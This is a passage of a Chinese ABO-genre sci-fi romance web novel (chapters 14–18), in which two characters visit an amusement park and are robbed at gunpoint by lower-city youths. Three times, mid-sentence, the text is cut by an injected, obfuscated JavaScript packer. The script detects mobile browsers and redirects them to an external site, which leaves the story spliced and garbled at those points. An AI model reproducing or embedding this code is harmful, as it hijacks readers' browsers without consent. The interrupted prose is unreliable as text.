别人明明也占了,江鹤吟不明白,但他听出时与有点不高兴,“哦”了一声,立刻像被霜打似的蔫下去。 好吧,他或许是有点烦人,不如其他的omega或是beta懂事讨人喜欢,又不是一个人对他这样说了。想不通,他蔫头耷脑回去,迷迷糊糊地走开,迷迷糊糊坐到门诊,迷迷糊糊给人看病,休息时间又见到洛恩,挥挥手对他打招呼。 好怪,他做什么了,江鹤吟趴下来,双臂圈住下巴,是因为有对比吗,为什么他一来时与就不理自己了。 洛恩今天看上去很有活力,如果是电动玩具的话,那他好像通电的电压比较高,江鹤吟突然想起来他给时与发的照片,好琐碎的生活细节,时与这人怎么什么话都往下接,这种没道理的信息都要回复,这么想还真是蛮有耐心,脾气很不错…… ……? 他原本没精打采趴在桌上,忽然觉得不对,什么不错,这人脾气根本就烂得要命,凶巴巴的,也就熟悉了才稍好一点,哪来的什么耐心,完全就没变过。 他弓着身子,脑袋抵住桌沿,偷偷把通讯器拿出来。 时与又收到他莫名其妙的短讯息。 江鹤吟说:[不对,你脾气才不好。] 啊? 时与摸不到头脑,心说这人怎么回事,过了大半天突然骂我,找事? 江鹤吟:[你现在还是更喜欢我,我们是朋友,所以其实是因为我你才会对洛恩比较客气,你脾气本来就这样烂得爆炸。] 时与问:[啊?] 江鹤吟完全想通,他发完消息便神清气爽地将通讯器扔到一边,对洛恩又招手:“嗨!” 洛恩今天开心,见状也挥手,快快乐乐到他这里串门。他进来先和江鹤吟击了个掌,然后一屁股坐到先前时与盘踞的那把椅子上,滑到他身边。 江鹤吟问:“你今天去那个……那个三十八层了?” 洛恩闻言,眼中光芒一闪,招招手,让江鹤吟再凑近点。 看到一个光秃秃的训练场有什么令人高兴的,当然还有别的收获。他一手放在嘴边,超级小声开始和江鹤吟串通,第一句话就是重磅炸弹,他说:“对,而且我今天发现了一个秘密通道。” 秘密通道?听起来好刺激,江鹤吟一惊,他来第八星目的已经改变,现在就是为了找刺激,大刺激送上门,真是好得不得了,于是放下内耗,也立刻压低声音:“什么通道?通到哪里?” 他眼睛也亮起来,视线里满是怂恿,洛恩见他这么兴奋,反而不说了,他点到即止,嘿嘿笑了两声又坐直,面上的表情快乐极了,清清嗓子神神秘秘道:“我先不说,我去弄明白再告诉你。” 江鹤吟点头:“好啊!” 15. 第 15 章 江鹤吟又问:“但是你想怎么弄明白?” 洛恩仿佛正在酝酿一个绝顶聪明的计划,他依旧不说话,表情高深莫测地摇摇头。江鹤吟只与他密谋几句,本身也没有刨根问底的习惯,见状便不继续试探,预备安心等对方的消息。 今下午坐班依旧是一切正常,江鹤吟调整好心态,工作得认真仔细。那位主任似乎略有点担心他的状况,期间特地在他门前站了会儿,江鹤吟对她打招呼,她也微笑回应。 他起得早,但抛掉那些乱七八糟的情绪认真做事时却并不觉得有多疲劳,时间仿佛过得很快,再回过神便已经又到下班。第八军区各部门工作时间不同,这边工作那边休息,工作时间相当错峰。此时外头只有三三两两的医生们结伴向外走,他想去叫洛恩一起回去,打开门却正见到时与百无聊赖倚在对面门口。 “时与!”江鹤吟愣一下,心情突然又明媚起来,他惊喜,“你在等我?” 时与没什么反应,只发出个含糊的“嗯?”,她嘴里又在嚼什么东西,似乎是口香糖,也不说话,闻言眼睛微转,看着他笑了一声。 很快走廊另一头传来关门的声响,一个戴着眼镜的omega与那位主任相继从房间中走出来,时与对她们挥手,江鹤吟这才明白她是来做什么。她来找别人,根本就不是找他,于是顿时又为自己的自作多情憋气。 他眼睛瞪起来的模样倒有点凶,时与手伸到他眼前略微一晃,趁他不注意,猝不及防打了个响指。江鹤吟被她吓了一跳,脑袋反射性向后缩,结结实实撞在身后刚闭合的门板上。 他吃痛叫了一声,时与这才满意,从鼻腔里泄出懒洋洋的嘲讽笑声,手指伸出来,顶着一张小纸条按到他脸颊上:“今下午骂我?嗯?” 江鹤吟的注意力说转移就转移,闻言自己就立刻开始心虚,也不去谴责时与害他撞得头好痛了,反倒是抿了抿嘴唇偷偷瞧她有没有真的生气。 时与自然不同他计较,手指隔着这张小纸条戳戳江鹤吟的脸颊,没有再多的解释,直接转过身大步向刚出来的那二人的方向走。 姜澜和米尔加奈当然见到她方才与人打闹的场景,一前一后看好戏似的停下来。时与就这么背着手走到她们中间,仿佛什么都没发生,左右看看:“走啊,早练完早下班。” 江鹤吟还在原地没动,他望着她们离开,像个小雕像一样,手还傻愣愣地按着脸上那张小条。那几人好像很熟,但离得远,不知道在一起说了什么,然后便见到三人之中那个omega回过头。 一身后勤常服的omega打扮得很利索,个子矮小却看得出身材颇佳,一头耀眼的金发盘在脑后,与江鹤吟对上视线,两只眼睛如同宝石一般清亮湛蓝。 江鹤吟有些愣怔,想:这是谁? 米尔加奈又回头看江鹤吟一眼,明显不信时与的说辞,她把手插进口袋:“不是你男朋友你和人家闹什么,你什么时候这么开朗活泼了。” 时与还真不反驳:“这位长得多好看啊,他们只在这里待一会儿,我照顾他一下能有什么错。” 米尔加奈翻白眼:“多照顾照顾你的外骨骼。” 时与笑嘻嘻,一只手攀上姜澜的肩膀,身体微弯,脑袋也顺势靠上去,姜澜和时与差不多,对别人凑近都没什么反应,就任她倚着,甚至还帮她整理了一下袖口。 时与这人的情况太极端,技术部的模型调整完只让她一个人测试不一定能得到很好的结果,于是两人就又来找了姜澜——除去伤重无法复原的精神体,这位各项数据平均的beta显然能给出更合适的反馈,退役后也时常在各处发光发热。 她把时与脸侧的碎发别到耳后:“真喜欢?不一定追不到,试试看啊,我们八星前无古人的小天才。” 时与打哈哈,眼睫垂下来,夹着嗓子柔弱撒娇:“没~有~~” 她道:“饶了我吧,我的情况您也不是第一天知道,您管这叫天才呢,铁定孤独终老。” 姜澜没话讲,米尔加奈也不知道她们在对什么暗号,但见两人沉默,也就闭嘴说起旁的事,没再打趣她。 洛恩从诊室中出来,正见到江鹤吟站在门口。 “鹤吟!”他惊喜,发出和江鹤吟一样的声音,“你在等我啊。” 这次倒是没说错,江鹤吟转过头答应一声,对他微微一笑。 时与的纸条里是明天集合的时间地点,他原本打开通讯器想给她发消息,打开才发现被他忽略一下午的通讯器里有完全相同的信息——所以刚才分明是见他没回复所以特地过来找他。 他因为这个认知又高兴起来,也不知道是怎么回事,最近一天天情绪被她牵着动,上上下下好好坏坏变得很快。 将头上的帽子摘下来,江鹤吟用手指挽着头发玩,洛恩走到他身边,叽叽喳喳与他嘀咕一些小事,声音不大,不知道的还以为他的精神体才是鸟类,走在他身边,让江鹤吟也觉得有点可爱。 是麻雀,他一边走神一边回应洛恩的话,在心里给洛恩确定品种,突然就觉得麻雀很合适,盯着他棕色的卷毛弯着眼睛轻轻笑。 洛恩抬头不明所以:“哎呀,你又笑什么。” 江鹤吟说:“没事,突然……哈哈哈。” —— 不知道是不是精神体变异的症状,时与的嘴巴好像不嚼点东西就难受似的,整天都在动。江鹤吟打开纸条,还以为难得休息,她肯定要再出去找点稀奇古怪的饭来品尝,结果这次倒是一反常态,约定的时间竟然直接避开午餐的时段,让他下午在医疗部的十五层见面。 或许是上午又有什么事情要做,江鹤吟从住院部出来时特地去她的病房看了一眼,里面干干净净,不见一点人气,像是一大早就离开。 他只好自己下楼,此时走廊里有不少人来回走动,却不见时与人影。他转头四处去找她,没看几下便觉身后有人靠近,顿时寒毛倒竖。 时与插着兜,稍微弯下腰在他耳畔“哦”了一声,惊得他又跳一下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488231|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他慌忙回头,发现是时与站在他身后,时与头发乱糟糟的,似乎才刚刚洗过,连梳都没梳,颜色漆黑,看上去柔软蓬松。她好像就是喜欢恐吓人的,不是这种形式就是另一种。 江鹤吟双掌叠放到胸口,倒是不生气,只是控诉:“你又吓我。” “这也算?”时与不认同,原地转身时脚下站不稳似的动了动,对江鹤吟道,“走啦,出去玩一下,再晚就不好回来了,有没有看你们的门禁时间?” 江鹤吟:“没有。” 时与:“十一点。” 江鹤吟:“哦哦。” 他跟着时与,很没防备心地同她一起向前走。下面停了一辆黑色的车等他们,外表涂装着某某公司的字样,待两人安全带系好后便稳稳向前。江鹤吟老老实实坐在她身边,也不问去哪儿,眼睛从窗外看向时与的头发,然后又看向她的脸。 初到第八星时觉得这地方哪里都破旧,如今倒是觉得还好,并不像报道中描述的那样落后可怕。 时与好像有点困,她眼睛半阖,外面的光从她侧脸飞快划过。江鹤吟心想今天这一身穿得要比之前那套常服好些——可惜alpha不穿花花绿绿的颜色,不然等她给自己做私人助理就给她买粉蓝色西服套装,一定更好看。 ……好像也可以?她这样穿的话和自己也比较搭。 他眼睛一转,又开始考虑之后让时与做他助理的事,时与只觉得浑身一阵恶寒,她悄悄睁开一只眼睛,见江鹤吟正盯着自己看。 挪挪身子,调整一下姿势,时与被他盯得发毛。 这角度很巧,恰好挡住半边身体,却也正好露出江鹤吟方才没看到的那半边。江鹤吟直接托着下巴打量她,脑中甚至开始思考配饰做什么样子,没构思完就见时与“呼”地坐起身。她伸手过来,抓着江鹤吟的肩膀向另一侧掰。 江鹤吟:“……你干嘛!” 时与把他转过去:“我这人上不得台面见不得光,你这么看我我特别心慌。” 江鹤吟:“你不要动我,好疼……疼!疼!” 江鹤吟:“我不看了!” 时与并不听他讲,见他要回身,依旧向另一侧去扭他,江鹤吟又叫了几声,终于忍不住,抓住她的头发在她肩上打了几下。 ……太讨厌了。 江鹤吟生气,这不太体面,但他确实还是会打人的。他抓着时与的头发向下拉:“……我说我不看了啊!” 时与顺着他的力道低下头,举手投降。 江鹤吟气鼓鼓放手,身体向远离时与的方向挪了挪,乜她一眼,竟没见她后悔,反而像松了口气似的,顿时又怒火中烧勃然小怒。 他说:“你要给我道歉!” 时与:“哦哦哦对不起。” 她一晚没睡,刚刚结束各项参数的调整训练,脚底都是麻的,这和在现实中训练的情况不太一样,一出仓脑袋都嗡嗡响。 她翻过身,调整了一下座椅:“睡一觉,到了叫我。” 16. 第 16 章 时与本身也不是什么特别喜欢玩乐的人,要让她说第八行有什么好玩的好看的那只能是两眼一黑抓瞎乱蒙,但所幸家里还有个和江鹤吟一样娇滴滴的好弟弟,她可以直接取经。 好弟弟双掌一合,像是对她很欣慰,目光炯炯给出指示:“最近吗?太好了,我知道一个好地方!” 时与毫无异议采纳他的意见。 车辆缓缓驶进停车区,台阶慢悠悠放下,两人下车,江鹤吟看向远处,这里的景象有些熟悉,与二星大差不差。 他似乎有点失望,眉头紧起,拉拉时与的衣角,小声问她:“这里是……?” 时与刚醒,掌根按上太阳穴,有气无力道:“游乐园。” 他当然知道是游乐园,但是这有什么新鲜,小时候家里人没空陪他便总将他丢到这里玩,他来了没有一千也有八百回,有段时间做梦都是三维影像里那些拟人化物种的大脸。 他看时与,嘴巴动动,似乎有什么想说,但是欲言又止,显然对眼前这人头攒动的地方性质缺缺。 人类似乎对“如何哄omega开心”或者“如何哄一位柔弱beta开心”有一定的刻板解决方式,游乐园又显然是其中重要的一环。他头一次为自己“把一切交给别人安排”的想法后悔,心想早知道这样就该在路上问一问,比起这没意思的地方,他宁肯改道去陪时与吃路边摊。 时与倒是没这个自觉,时夏推荐完她就找了两篇资料来看,真觉得这地方挺有意思,甚至有点兴致勃勃,下城区的贱民小时候自然没听说过这种好去处,后来长大了倒有机会,对比之下却觉得没什么来的必要,毕竟时间紧迫,不如抓住机会多吃一点。 人造天幕配合下方的娱乐项目安装,一半永久是星光璀璨的黑夜、一半则一直是阳光明媚的白天。她招呼江鹤吟向前,从正门处领了手牌分给他,江鹤吟接的犹犹豫豫,没待与她商量换个地方就被时与一把拉进去。 江鹤吟开始还有些不情愿,但很快改变了想法,觉得时与比这个游乐园更有意思。 她对军部了如指掌、吃豪华餐厅仿佛去食堂、在娱乐场上蹿下跳,但却好像完全没来过这种地方似的,特别没有见识,这里摸摸那里看看,有什么小游戏都要去尝试一二,而且还很不要脸,双人游戏除了找他就专挑小朋友对战,把对方打的吱哇乱叫,如果自己小时候在这里碰见她,绝对要哭得天昏地暗。 赢的人会有奖品,时与还算有良心,本身也不太喜欢这些小东西,因而小奖品尽数进了别人的口袋,只给江鹤吟留了一个——还是他自己赢来的,似乎是个安全小烟花,打开会放出一个精致的吉祥物,可以在暗夜区玩。 时与并不觉得自己有多幼稚,她甚至好意思示意江鹤吟来看她打小朋友有多厉害。江鹤吟当然埋首不敢看,孩子身边都跟着大人,他真怕和时与相认待会儿要一起被人拉到角落里套麻袋。 不过如果能遇上他小时候那种倒是可以欺负欺负。他以前是没有家长陪的,和他一起来的都是家里的佣人或母亲的下属,往往只安静站在一边,不与他有“相同的待遇”,只负责等他玩得尽兴时提醒他回家或者为他擦擦汗,不知道会不会为他主持公道——应该也不会,这看起来不够体面。 他先前从没上过大众学校,一直是受的家庭教育,因此也没机会认识同学或朋友,后来倒是在社交场合遇到一些殷勤的alpha,但他们更倾向于展示自己的成熟稳重和体贴,做的事情也只有诸如清场、包圆、为他讲解这种普通小游戏的诞生历程之类,和这种家伙一起能尽兴才怪,于是他更不喜欢来玩。 ——这次这个厚脸皮一点。 江鹤吟偷偷向周围看,时与对面的孩子身后站了个西装革履的大人,样貌很文静儒雅,不像会对他们动手,于是他心中那个烂事小人重新掌握主动权,他推开时与,接过她手中的控制杆,嘴巴里照猫画虎背诵起来: “这个游戏诞生于星历206年,为了纪念一场血腥的革.命政变,那次政变后安卡尔国王被处决,从此人类进入联邦的新时代……” 控制杆在他手里似乎都灵活得多,他确实玩了很多次,对这个游戏的操作相当熟稔。正处于童年期的小朋友在他手下毫无反抗之力,不出三十秒战斗就利落结束,屏幕上出现一个大大的“WIN”。 时与那边发出“噫呀”一声,江鹤吟骄傲抬头。他把头发向后一甩,刚要炫耀,耳边却听到低低哭声,只好赶紧又狼狈蹲下,拿起新掉落的小奖励哄小孩。 时与在他身后捂嘴笑,笑声闷闷的,好像放屁。 他哪里惹过别人哭,又哪里有孩子需要他哄,哄来哄去觉得自己好像个虚伪的入室抢劫犯,见那孩子的家长过来,赶紧把奖品往孩子怀里一塞,拉着时与狼狈逃离。 时与:“哈哈哈哈哈哈哈哈哈。” 时与被他拖着走,笑得好像一个混球。江鹤吟觉得忍无可忍,刚好看到就近又有新的游戏仓,便直接把时与按进去打开双人对战。 现实中打不过时与,游戏中却不一定,江鹤吟手扶上控制器正准备教训她,却不想还没反应过来就被快刀斩乱麻地揍了一顿。 狼狈退出,时与那边更是爆笑,她被江鹤吟这番操作蠢到,笑得腰都直不起来,脑袋抵在控制舱侧面的薄壁上,她道:“你和我……你能不能好好看看……哈哈哈哈……你和我玩模拟机甲……哎呀……哈哈哈哈哈哈哈……我的天……” “……这样吧,”她手握拳抵住下唇,清清嗓子,“再来一把,我让你两只手两只脚,你赢了我就背着你跑回……啊!啊!” 江鹤吟暴怒,拉着她的胳膊把她拖出来,又给了她几拳,时与叫得很夸张,但不反抗,一边笑一边投降。 游戏仓里掉下一个小怀表,是战斗后的胜者奖励,江鹤吟气得去抓她衣领,她笑着扭身,身体弯成一个几乎不可思议的弧度,抓过那只小怀表来挡住自己的脸,献宝似的递给他,顺便讨饶。 有人陪确实比一个人来要有趣得多。 江鹤吟脸上因为生气泛起一些红晕,他气鼓鼓,一头银发起了静电似的有点炸毛,伸手将那个小怀表拽过来。 时与笑道:“少爷息怒,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492506|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生气,我请你吃第八星最好吃的草莓甜甜圈,攻略说的,这里暗夜区有一家第八星top.1。” 江鹤吟“哼”了一声,矜持点头。 两人在游乐场慢慢穿梭,时与偶尔也拉他再玩点小游戏,她玩得其实不差,和小朋友们打的时候估计还是收了手,江鹤吟与她对战输赢参半,两人攒了一堆小礼品抱着,江鹤吟看多了这些东西,但这次偏偏觉得都想要都喜欢,拿在手里有点碍事,于是走着走着就都到了时与身上。 时与似乎很习惯给人当货架,整天抬杠的破嘴里这次连声反抗都听不见,像是自然而然就接受了这个设定,江鹤吟不知怎地略感欣慰。 尖叫和惊呼是没有的,她天天搞那些危险的高空作业,阈值早就高得常人难以企及,刺激的大型设施她玩得昏昏欲睡,兜风似的,穿越“虫潮”时坐在江鹤吟身边躲着监视器偷偷摸摸嚼蛋白棒。 江鹤吟也不知道监视器在哪儿,只能不动声色地帮她挡住嘴巴,他大概能理解她的心态,玩过这次就换了路线,只去那些“幼儿期”、“童年期”的小孩该逛的项目,不出所料,时与对此两眼放光,玩得颇有一番意趣。 游乐园的中央是一座几乎与天幕相接的巨大的摩天轮,它分毫不差被建造在中线,于是一半是白天,一半放在暗夜,从上方能够俯瞰到整个园区,甚至周围几个区域也能尽收眼底。 江鹤吟很想去拉住时与的手。 他们一人坐在一边,轿厢缓慢上升,逐渐远离地面。 游乐场的建筑比第八军部设计的更加疏密有致,不同的装饰或绿植点缀其间,仿佛一个梦幻的花园。 时与像没见过这场景,撑着头坐在那里安静地向下看,江鹤吟却只觉得这些风景无论在哪个星球都一成不变,时与看景色,他就看时与。她的手指很漂亮,细长、骨节分明,指根似乎有茧,撑在脸颊上,脸似乎很软,压出来几个小小的凹陷。 他的脸有点热,好像听到了心跳声,越来越明显。 时与:…… 起鸡皮疙瘩。 所幸身边道具很多,她随手抓了一个扔出去,正正当当打在江鹤吟额头上。 来八星这短短几天,江鹤吟挨了这辈子最多的打。他也像时与似得大声“哎呀”,捂着额头,见到落在身边的是那个安全小烟花。 伸手捡起来,仔细看包装上的说明,“室内可燃”,于是抬头看看外面的天,轿厢已经快要驶到摩天轮的顶点。 明暗交割如同清晨与黄昏相连,光幕变成一片暖色,江鹤吟从边缘处将烟花覆膜撕开。 “嗨!” 他将小筒指向时与,时与转头,一手伸开挡在脸前,不知道江鹤吟按了什么按钮,“嗖”一声,一个橙黄色的拼接动物冒出来。小动物迈开腿在两人之间转圈,江鹤吟开心轻笑,眼睛弯弯的,将一只手伸到中间。 仿佛真的能看见江鹤吟的动作似的,小动物盘旋几圈落在江鹤吟的手心,低温的火星从它身上落下。 江鹤吟握拳,周围空气中溅出一圈莹亮的涟漪,灵动的烟花消失不见。 17. 第 17 章 时与激烈鼓掌:“厉害厉害。” 她说着用手扒拉身边的这堆小破烂,觉得这活儿很新鲜,问:“还有别的吗,再来一次。” 江鹤吟开开心心答应,他点点时与的座位:“有啊,我记得还有一个小的,你看一下是不是在你右手边……” 于是时与开始低头翻身边这一大堆东西,他们玩了很多小游戏,乱七八糟的赠礼拿了不少,她从中挑出几个,初步辨认了一下,却不知道这些花哨的名字都是什么意思,索性随机拾取几个扔给江鹤吟,想看她随机选的东西能掉落出什么有意思的表演。 摩天轮的轿厢已经转过明暗的分界线,外面的天幕换上一片深夜的景象,抬头是璀璨的星空和几轮或黯淡或明亮的月。江鹤吟很给面子,他并不要求时与一定找到另一个小烟花,接住那几个被扔过来的小礼盒借着星光与头顶的灯带翻看几下,然后撕开其中一个的包装,神神秘秘让时与伸手,双掌朝上。 时与照做,江鹤吟打开盖子,一堆透明的液体滴落下来,落在手上冰冰凉凉、像蜗牛爬过似得滑溜难受,他把这包液体尽数挤干净,然后抽出盒中剩下的“法杖”对她指尖一点,瞬间微小细密的爆裂声响起,时与双手捧成碗状,金色的火点子变成池中跃动的鱼,从里头噼里啪啦往外跳。 时与睁大眼睛,身体后仰,来回更换了几个手势,嘴里叽里咕噜说出一大串江鹤吟听不懂的土话。 他们坐在高空中预备将这堆东西一一玩过,尚不尽兴,忽然有一道亮白的光芒从远处闪来。 这光芒刺眼,江鹤吟不适地抬手遮挡。光芒没几秒就消散无踪。轿厢正在下降,但位置依旧很高,他揉揉眼睛,干脆站起来扶着栏杆向远处望,想看看外面发生了什么,一眼看去却不见有哪里格外不同。 眯眼远眺几下,他最终还是转过头问时与:“刚才是什么,烟花?还是信号弹之类的……?” 怎么可能会有这种烟花,时与看他,觉得他这想法很好笑。 掌心里还隐约有金色的光芒反射,她身体前倾瞧瞧窗外,对外头不太“童话”的情景并不隐瞒,对江鹤吟如实道:“那是多频光脉冲,驱逐游民用的。” “按理说不会照到这里,你休息一下眼睛,照久了影响视力。” 江鹤吟答应一声,他一点都没有恐高的意思,又揉揉眼,半转过身。一只手贴上玻璃,外面的温度透过玻璃传过来,染的手心冰冰凉。 他从兴奋的状态中脱离,眉头不自觉皱起:“驱逐游民?” 时与也站起来,她走到江鹤吟身边,调整了一下姿态从他的角度望过去,一只手指按在玻璃上,指住一个方向让他看。 那片区域几乎在视野的边缘,被天幕分去了正常的日光却又没被完全遮住,半明半暗,里头亮着灯,但光亮很黯淡,能看出一些街道是古怪的红绿色。 时与说:“就是从那边照来的,那是164区,第八星的区域有两百多个,编号在132以后的都算下城,普通的区域一般禁止下城的游民入内。” “下城?”江鹤吟重复,他偏头看时与,第一次听说这个词——他的资料里没有这个。 “嗯哼,意思就是很差劲的地方。这个游乐场是最近几年建的,原本土地的编号也靠后。除了164区,还有187、135也在它周围,不过可以放心,有专门的守卫守在它边缘,不会有危险。” 时与的口气很轻松,话语毫无起伏,她来之前就看了资料,也觉得新乐园地理位置很巧。 时与有两个户籍,旧户籍就来自下城区,知道的人不少,不然拜森也不会莫名对她冒出一句“贱民”。游乐园位于区域126号,正贴着下城区的边,其中紧邻的135区就是她的老家,这熟悉的区号已经好久没念过,不过她对此没什么感情,说它不好也并没有心理负担,也就只有眼睛不自觉向东方瞥了一下。 江鹤吟“哦”一声,用胳膊肘蹭蹭她:“你能带我去看看吗?” 时与就猜到他要来这一出,直截了当拒绝:“不行。” 好吧。 他们离得很近,江鹤吟又觉得不好意思,他偷偷嗅了下时与的味道,信息素气味浅淡,像个beta似的,存在感很低,一点都不烦人。 从轿厢下来,两人继续去暗夜那边逛。时与说的那家好吃的甜甜圈店铺看上去在第八星相当有名气,不大的地方拐着错综复杂的弯,门前排起的队伍像扭在一起的肠道。 游戏里给的小玩具已经玩掉不少,她就换了个小袋子装,随意勾在手上,另一只手抱了个超大号的牛皮纸袋。天然原料做的食物很贵重,如今还爱吃这些东西的人多是为了尝鲜,唯独时与看起来是真奔着充饥去的,里面装得满满当当,远远过来伸到江鹤吟面前,示意他拿来吃。 江鹤吟从中取了一个,小巧的点心做的像朵美丽的花,薄薄一层糖霜洒在上面,周围人手中拿的分明都带着更漂亮更复杂的包装,时与显然没要,纸袋里甚至连隔断都没有,甜甜圈在里头整齐的层层码放,好像生怕浪费一丝空隙让她少装一个进去似的。 江鹤吟嫌弃,左右歪歪嘴,这表情既不文雅又不礼貌,在第二星当然是不能做的,但时与显然一点都没规劝他的意思,准确领会到他的不满,手掌一翻露出后头包装精致的小礼盒:“咳。” 江鹤吟眉开眼笑,把方才刚拿出来的这个塞进时与嘴巴,接过她手里的盒子捧着。 暗夜的氛围比白昼要好,这里没有萦绕耳畔的背景音乐,只有微弱的沙沙声作响,三维投影与周围的装扮营造出静谧平和的景象。 江鹤吟拿着自己的手牌引路,恐怖惊险的区域时与肯定不喜欢——恰好他今天也不想去,时与一边吃一边跟着他,不像平常人回家端着精致的浮雕瓷盘再配一套小刀叉细品,她吃得很没品味,像吃营养药剂,嚼一嚼咽下去,又立刻把下一个丢进嘴巴。 这条路有些偏僻,在园区东方,几乎快要靠近边缘,他想带时与去个小公园,那里风景美丽,有诸多野生动植物在人造的条件下构成一个完整的生态圈。 光线很弱,身边一直有窸窸窣窣的声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14503113|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像乐园的造景,他莫名警惕,但见时与对此毫无反应,便又安心下来。他转过身,倒着脚步走路,和时与聊天道:“你说这里会不会给游客安排什么幸运惊喜?” 时与把她那个宝贝纸袋子合起来,锁边处折叠得仔仔细细:“比如说?” “比如突然从草丛里跳出一个团队对着我们拍,说‘你们好呀亲爱的幸运朋友,接下来完成XX小游戏就可以获得我们的神秘大奖!’,然后把我们的视频剪辑一下投放到星网上,一群人说‘哇好幸运恭喜恭喜’。” 时与轻笑了一下,不知道是不是累了,兴致好像不如先前高:“我猜没有这种事。” 她脚步加快了些,与江鹤吟擦身走到他之前,想拉他继续向前走,江鹤吟拖长腔“啊——”了一声,脚底粘着胶似的不愿意动弹。 他自认眼神很好,周围的灌木丛里绝对有东西,都对她暗示得这么明显,时与为什么不说?是她没发现还是不想让他知道? ——不动了。 他停下,窸窣声音也停止,灌木丛不再跟着轻微晃动,江鹤吟心思活络起来,又想找点麻烦。他拉住时与的袖口,语气婉转哀求:“看看有什么。” 时与抬起胳膊要抽出手:“老鼠。” “不可能。”江鹤吟抓不住她,干脆“啧”了声甩开,自己向那灌木走。 他兴致勃勃:“我刚才看到了,有个白色的………啊!” 时与站在原地冷眼旁观,那灌木不高,只能藏小型动物的地方竟忽然迅雷不及掩耳之势蹿出两个小孩。一人压住江鹤吟的脖颈,稍大些的那个手上是把亮银色的枪,她们瞬间将江鹤吟按倒在地上,枪口指向江鹤吟的鼻尖。 “把值钱的东西都给我们,”说话的女孩年纪还小,看着和方才输了游戏哇哇大哭的孩子差不多大,拿枪的手却很稳,对时与威胁道,“你手里的东西我们也要。” 江鹤吟咽口唾沫,刚才那瞬间呼吸都快暂停,被这突如其来的反转吓了一跳。时与盯着那两个孩子看了一会儿,一反常态没有说话,她将手上的东西放到旁边,几张身份证件抽出来,又扔来一个钱夹,甚至手牌都丢给她。 时与说:“没有了,把人放开吧。” 两个孩子像是路边抢食的野猫,眼神紧盯着她,试探了一小下,倒也守规矩,并不真的要伤及江鹤吟的性命,动作飞快地各自抓过东西就跑。 时与伸手,将江鹤吟拉起来,根本没为方才的意外起任何波澜,甚至有空笑他:“惊喜。” 江鹤吟手心冰凉:“这是怎么……” 时与:“下城区的贱民崽子。” 话刚落下,一束白光骤然飞来,时与脑袋向左微偏一寸,抬起眼,激光连她的发丝都没擦到边。 “有种就再说一遍!”那孩子站在不远处,她双手握枪,两脚分开像一个等腰三角,咬牙切齿道,“另一个人的手牌,然后再去买一个给我们,否则就在这把你们杀了!” 时与:“三个人?另一个呢?” 那孩子说:“要你管!” 18. 第 18 章 另一个人在他们身后。 江鹤吟站得离时与更近了些,第三个人不知道从哪里冒出来,看体型已经过了少年期,是个瘦削的青年模样。 三人俱是黑发黑眼,相比两个孩子,青年的衣服更干净些,然而身上带有血腥味,手上同样有一把轻便的枪。 他举枪,直勾勾盯着二人的背影,微弱的信息素随风飘过来——江鹤吟忽然睁大了眼睛,像是惊讶或恐惧似的捂住口鼻,心脏慌乱地跳动,四肢发凉,想立刻从这里逃走。 如云雾笼罩般的信息素正缭绕在那人的身体周围,这状态很危险,是快要发.情的征兆,他就站在那里,仿佛没有倒计时显示的定时炸弹,随时能把江鹤吟这身伪装炸得稀烂。 黑发的omega嗓音沙哑:“把手牌给我们。” 江鹤吟立刻把手牌从腕上脱下来,远远扔给他,只求能快速离开。 对方的状态应该很虚弱,但手上那把枪依旧稳稳指着他们,姿态也依旧紧绷。 要求被满足,他似乎也想赶快结束,开口道:“你们可以走……” “不行!”方才那孩子直接打断他的话,叫道,“留下一个人,剩下一个人再去买,我们要三个手牌!” 空气中一片安静,青年沉默一会儿,并没有反驳孩子的话,一双黑沉的眼睛在时与和江鹤吟二人之间扫过,聚焦在江鹤吟身上,重新改了口,说道:“让那个beta留下。” 这没有beta!!! 江鹤吟在心里尖叫,他这下顾不得别的,真去抓住时与的手,看向她,神态很焦急,想要求助。时与的指尖也很凉,面色铁青,好像从身后那omega出来就一瞬间阴沉到能滴下水来。 她没将手指从江鹤吟手中抽出,直起身依旧背对着那青年,眼皮也不抬,看着那拿枪的小孩。 这小孩很烦,时与嘴角勾起,望着她轻声讽刺:“贱民的崽子能去哪?” 她说这话的口气刻薄极了,连江鹤吟都一愣,觉得有些不适,她哼笑一声,又似乎在和青年交流:“外面可没有垃圾桶能给你们待,一个发情的omega带两个小孩在外面晃,想找良婿?脑子里填了屎吗。” 身后的omega早在她第一句开口时就有些发愣,他没出声,但这番话却已经将两个孩子气得暴跳。稍大的直接扣动扳机,又是许多光束射来,她甚至没有吝惜能源,短促的激光排成密不透风的墙。 时与把江鹤吟拽到身后,顷刻间无数脸盆大小的花色蜘蛛从地面和她身体周围涌出,叠在一起像鼓动的喷泉,黄绿色的花纹昭示着危险。 